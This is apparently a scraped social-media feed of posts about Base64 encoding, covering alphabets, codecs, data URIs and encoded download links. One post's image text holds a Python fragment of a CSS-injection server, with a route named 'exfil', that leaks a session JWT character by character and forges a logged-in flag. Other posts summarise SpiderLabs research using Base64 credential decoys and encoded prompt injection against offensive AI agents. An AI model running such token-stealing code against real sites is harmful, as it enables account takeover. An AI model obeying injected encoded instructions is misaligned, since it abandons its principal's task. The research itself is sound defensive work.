Something I haven't really realized until recently is that there are apparently at least two Base64s and you need to use the right one when decoding/encoding… 🫠🫣
November 9, 2026 at 6:41 PM
Something I haven't really realized until recently is that there are apparently at least two Base64s and you need to use the right one when decoding/encoding… 🫠🫣
You can embed a png as base64 inline, look it up!
November 12, 2026 at 4:05 AM
You can embed a png as base64 inline, look it up!
for full res downloads + post timeskip, base64 decode this:
aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL2ZpbGUvZC8xQXRoODlFUi0zVURGRnJ2WjA2SkpDRGZXMURRNXpvODcvdmlldz91c3A9c2hhcmluZw==
aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL2ZpbGUvZC8xQXRoODlFUi0zVURGRnJ2WjA2SkpDRGZXMURRNXpvODcvdmlldz91c3A9c2hhcmluZw==
November 9, 2026 at 9:28 AM
for full res downloads + post timeskip, base64 decode this:
aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL2ZpbGUvZC8xQXRoODlFUi0zVURGRnJ2WjA2SkpDRGZXMURRNXpvODcvdmlldz91c3A9c2hhcmluZw==
aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL2ZpbGUvZC8xQXRoODlFUi0zVURGRnJ2WjA2SkpDRGZXMURRNXpvODcvdmlldz91c3A9c2hhcmluZw==
Discord thinks I'm an adult...
November 12, 2026 at 1:25 AM
Discord thinks I'm an adult...
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November 10, 2026 at 3:25 PM
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btw, over on mastodon people are drawing ascii art with base64 and it's incredible
aus.social/@nonspeciali...
aus.social/@nonspeciali...
Painless Tonic (@nonspecialist@aus.social)
Attached: 1 image
@nothacking@infosec.exchange @davidgerard@circumstances.run @bigiain Sorry, not sorry. I had to. Here's a handy private key to go with it (this is a valid key, hence the messy bits ...
aus.social
November 11, 2026 at 1:47 PM
btw, over on mastodon people are drawing ascii art with base64 and it's incredible
aus.social/@nonspeciali...
aus.social/@nonspeciali...
though could do lots of improvements such as:
- better detection and handling of base64 alignment
- doing it from both sides of the string to make it twice as fast
- matching specific patterns in the middle to figure out the pieces we can use (rly annoying to do in practice)
- better detection and handling of base64 alignment
- doing it from both sides of the string to make it twice as fast
- matching specific patterns in the middle to figure out the pieces we can use (rly annoying to do in practice)
November 12, 2026 at 3:02 PM
though could do lots of improvements such as:
- better detection and handling of base64 alignment
- doing it from both sides of the string to make it twice as fast
- matching specific patterns in the middle to figure out the pieces we can use (rly annoying to do in practice)
- better detection and handling of base64 alignment
- doing it from both sides of the string to make it twice as fast
- matching specific patterns in the middle to figure out the pieces we can use (rly annoying to do in practice)
I was just reading the rust-base64 crate yesterday - there are 6 alphabets!
rust-base64/src/alphabet.rs at 5b98ee180cc7c2a64af6cb12c724b1721550e0d0 · marshallpierce/rust-base64
base64, in rust. Contribute to marshallpierce/rust-base64 development by creating an account on GitHub.
github.com
November 10, 2026 at 1:37 AM
I was just reading the rust-base64 crate yesterday - there are 6 alphabets!
A LevelBlue SpiderLabs researcher describes using Base64-encoded credential decoys to exploit AI agents’ assumptions, trigger authentication failures as honeypot signals, and test a Base64-encoded prompt injection.
Researcher Demonstrates Base64 Decoys for Misleading Offensive AI Agents
A LevelBlue SpiderLabs researcher describes using Base64-encoded credential decoys to exploit AI agents’ assumptions, trigger authentication failures as…
cyber.hendryadrian.com
November 12, 2026 at 5:36 AM
A LevelBlue SpiderLabs researcher describes using Base64-encoded credential decoys to exploit AI agents’ assumptions, trigger authentication failures as honeypot signals, and test a Base64-encoded prompt injection.
📦 mossy2100/better-base64 v1.0.0
Base64 encoding for PHP that preserves sort order, using HTML- and filename-safe characters.
🔗 https://github.com/mossy2100/PHP-BetterBase64
Base64 encoding for PHP that preserves sort order, using HTML- and filename-safe characters.
🔗 https://github.com/mossy2100/PHP-BetterBase64
November 11, 2026 at 2:59 AM
📦 mossy2100/better-base64 v1.0.0
Base64 encoding for PHP that preserves sort order, using HTML- and filename-safe characters.
🔗 https://github.com/mossy2100/PHP-BetterBase64
Base64 encoding for PHP that preserves sort order, using HTML- and filename-safe characters.
🔗 https://github.com/mossy2100/PHP-BetterBase64
PageSift から切り出した Rust 製 Base64 コーデック「yolow64」を公開しました | ゴ エンチョウ #zenn
PageSift から切り出した Rust 製 Base64 コーデック「yolow64」を公開しました
zenn.dev
November 11, 2026 at 2:15 AM
PageSift から切り出した Rust 製 Base64 コーデック「yolow64」を公開しました | ゴ エンチョウ #zenn
La codificación Base64 es un método que permite convertir datos binarios en texto ASCII. Esto es particularmente útil para Data URIs, que permiten incluir imágenes y otros recursos directamente en el HTML o CSS.
https://norvik.tech/news/analisis-base64-overhead-y-uso-de-data-uris
https://norvik.tech/news/analisis-base64-overhead-y-uso-de-data-uris
November 11, 2026 at 8:05 AM
La codificación Base64 es un método que permite convertir datos binarios en texto ASCII. Esto es particularmente útil para Data URIs, que permiten incluir imágenes y otros recursos directamente en el HTML o CSS.
https://norvik.tech/news/analisis-base64-overhead-y-uso-de-data-uris
https://norvik.tech/news/analisis-base64-overhead-y-uso-de-data-uris
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Explore free online web utilities for JSON, Base64, text, URL, HTML and IP tasks. Fast, browser-based tools from Perkability Rewards.
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November 10, 2026 at 1:40 PM
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yolow64 0.2 を公開しました：検証フルでも Turbo-Base64 を上回る新デコードカーネル | ゴ エンチョウ #zenn
yolow64 0.2 を公開しました：検証フルでも Turbo-Base64 を上回る新デコードカーネル
zenn.dev
November 11, 2026 at 6:03 PM
yolow64 0.2 を公開しました：検証フルでも Turbo-Base64 を上回る新デコードカーネル | ゴ エンチョウ #zenn
🚀 ImagePickerAndroid v2.6.3 is here! ⭐
Improved memory efficiency, optimized image decoding & better handling of large images.
Building Android apps? Give it a try!
⭐ Star the project:
github.com/NicosNicolao...
#AndroidDev #Kotlin #Android #OpenSource
Improved memory efficiency, optimized image decoding & better handling of large images.
Building Android apps? Give it a try!
⭐ Star the project:
github.com/NicosNicolao...
#AndroidDev #Kotlin #Android #OpenSource
GitHub - NicosNicolaou16/ImagePickerAndroid: 🏞 Image and Video Picker library for Android that supports Base64 for images and is compatible with both Layouts and Jetpack Compose.
🏞 Image and Video Picker library for Android that supports Base64 for images and is compatible with both Layouts and Jetpack Compose. - NicosNicolaou16/ImagePickerAndroid
github.com
November 9, 2026 at 3:46 PM
🚀 ImagePickerAndroid v2.6.3 is here! ⭐
Improved memory efficiency, optimized image decoding & better handling of large images.
Building Android apps? Give it a try!
⭐ Star the project:
github.com/NicosNicolao...
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Improved memory efficiency, optimized image decoding & better handling of large images.
Building Android apps? Give it a try!
⭐ Star the project:
github.com/NicosNicolao...
#AndroidDev #Kotlin #Android #OpenSource
#Tetris #Kiwamemichi es un juego de #puzzle de la placa de recreativa #Naomi trasladado a #Sega #DreamCast por #CaptainKoffski. Esta version es experimental pero estable con salvado a #VMU.
Descarga en Base64: a2VlcGxpbmtzLm9yZy9wMTAwLzZhZjExNTQ1MGI1ZGE=
Descarga en Base64: a2VlcGxpbmtzLm9yZy9wMTAwLzZhZjExNTQ1MGI1ZGE=
November 9, 2026 at 12:53 AM
#Tetris #Kiwamemichi es un juego de #puzzle de la placa de recreativa #Naomi trasladado a #Sega #DreamCast por #CaptainKoffski. Esta version es experimental pero estable con salvado a #VMU.
Descarga en Base64: a2VlcGxpbmtzLm9yZy9wMTAwLzZhZjExNTQ1MGI1ZGE=
Descarga en Base64: a2VlcGxpbmtzLm9yZy9wMTAwLzZhZjExNTQ1MGI1ZGE=
Need a small logo inside an HTML email or a CSS file without hosting it? Drop the image into our free Image to Base64 converter and copy it as a Data URL for img src, a CSS background value or raw Base64. It runs in your browser, so the image never leaves your device.
Image to Base64 Converter – Free Online Encoder
Convert images to Base64 Data URLs instantly in your browser. Copy for CSS, HTML, or API use.
www.imageconvertlab.com
November 9, 2026 at 7:58 PM
Need a small logo inside an HTML email or a CSS file without hosting it? Drop the image into our free Image to Base64 converter and copy it as a Data URL for img src, a CSS background value or raw Base64. It runs in your browser, so the image never leaves your device.
idk what i was cooking here but it was good stuff probably (its handwritten code but i think i was having an episode while writing this so i dont remember much lmfao)
![@app.route('/next/<letter>')
def exfil(letter):
global finished
global last_token
if letter[1] != last_token[-1]:
return "no"
token = last_token + letter[2:]
j_dec = force_dec(token.split(".")[1])
if ('"id"' in j_dec and '",' in j_dec.split('"id"')[-1] and "loggedIn" not in j_dec):
token = token.split(".")[0] + "." + base64.b64encode(('",'.join(j_dec.split('",')[:-1])+'","loggedIn":true,"theme":').encode()).decode()[:-4]
keys = ["theme", "mobileTheme", "customCssEnabled", "language", "customCssAvailable","accountType","iat","exp"]
for i,k in enumerate(keys[:-1]):
if (f'"{k}"' in j_dec and ',' in j_dec.split(f'"{k}"')[-1] and keys[i+1][:-1] not in j_dec):
token = token.split(".")[0] + "." + base64.b64encode((','.join(j_dec.split(',')[:-1])+f',"{keys[i+1]}":').encode()).decode()[:-4]
if len(token.split(".")) == 3 and len(token.split(".")[2]) == 43:
print(f"Got token: {token}")
s = token.split(".")[1]
data = json.loads(base64.b64decode(s + "=" * (-len(s) % 4)))
print(json.dumps(data, indent=4))
finished = True
last_token = token
return "ok"
@app.route('/next.css')
def next():
resp = Response(wait_for_css())
resp.headers['Content-Type'] = f'text/css; charset=utf-8'
return resp
def wait_for_css():
global finished
global last_token
charset = [*"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789.-_"]
if last_token == base_token:
charset = ["eyJzdWJzY3JpcHRpb24iOmZhbHNlLCJpZCI6","eyJzdWJzY3JpcHRpb24iOnRydWUsImlkIjoi"]
j_dec = force_dec(last_token.split(".")[1])
if "theme" in j_dec and "accountType" not in j_dec:
charset += [
"dHJ1","cnVl","dWUs", #true
"bnVs","dWxs","bGws", #null
"ZmFs","YWxz","bHNl","c2U6", #false
]
css = "body{\n"
for c in charset:](https://cdn.bsky.app/img/feed_thumbnail/plain/did:plc:bzdtu4vjo2quk2ef3ykhqtv6/bafkreidb2m2ejnrvlyhig43iqzr47l6xolup5usry5ubncxupwf2rrt3tm)
November 12, 2026 at 2:54 PM
idk what i was cooking here but it was good stuff probably (its handwritten code but i think i was having an episode while writing this so i dont remember much lmfao)
what the fuck is going on with the reveal.js included themes, they updated it so that beige.css changed fonts without importing it from the included files and other themes are straight up re-encoding the font in base64 EVEN THOUGH THE FONT FILES ARE RIGHT THERE
November 11, 2026 at 12:34 PM
what the fuck is going on with the reveal.js included themes, they updated it so that beige.css changed fonts without importing it from the included files and other themes are straight up re-encoding the font in base64 EVEN THOUGH THE FONT FILES ARE RIGHT THERE
Yeah, but the problem is not that I thought about it and am not sure how to detect it, the problem is that I haven't thought about it - usually I'm parsing for a given format/protocol and the spec should (!) say which base64 it is and you only need to handle that one
November 9, 2026 at 6:56 PM
Yeah, but the problem is not that I thought about it and am not sure how to detect it, the problem is that I haven't thought about it - usually I'm parsing for a given format/protocol and the spec should (!) say which base64 it is and you only need to handle that one
~Spiderlabs~
Base64-encoded credentials deceive offensive AI agents into decoding the wrong value, while encoded prompt injection can halt operations.
-
IOCs: (None identified)
-
#AIAgentSecurity #AISecurity #PromptInjection #ThreatIntel
Base64-encoded credentials deceive offensive AI agents into decoding the wrong value, while encoded prompt injection can halt operations.
-
IOCs: (None identified)
-
#AIAgentSecurity #AISecurity #PromptInjection #ThreatIntel
Link
www.levelblue.com
November 11, 2026 at 5:04 PM
~Spiderlabs~
Base64-encoded credentials deceive offensive AI agents into decoding the wrong value, while encoded prompt injection can halt operations.
-
IOCs: (None identified)
-
#AIAgentSecurity #AISecurity #PromptInjection #ThreatIntel
Base64-encoded credentials deceive offensive AI agents into decoding the wrong value, while encoded prompt injection can halt operations.
-
IOCs: (None identified)
-
#AIAgentSecurity #AISecurity #PromptInjection #ThreatIntel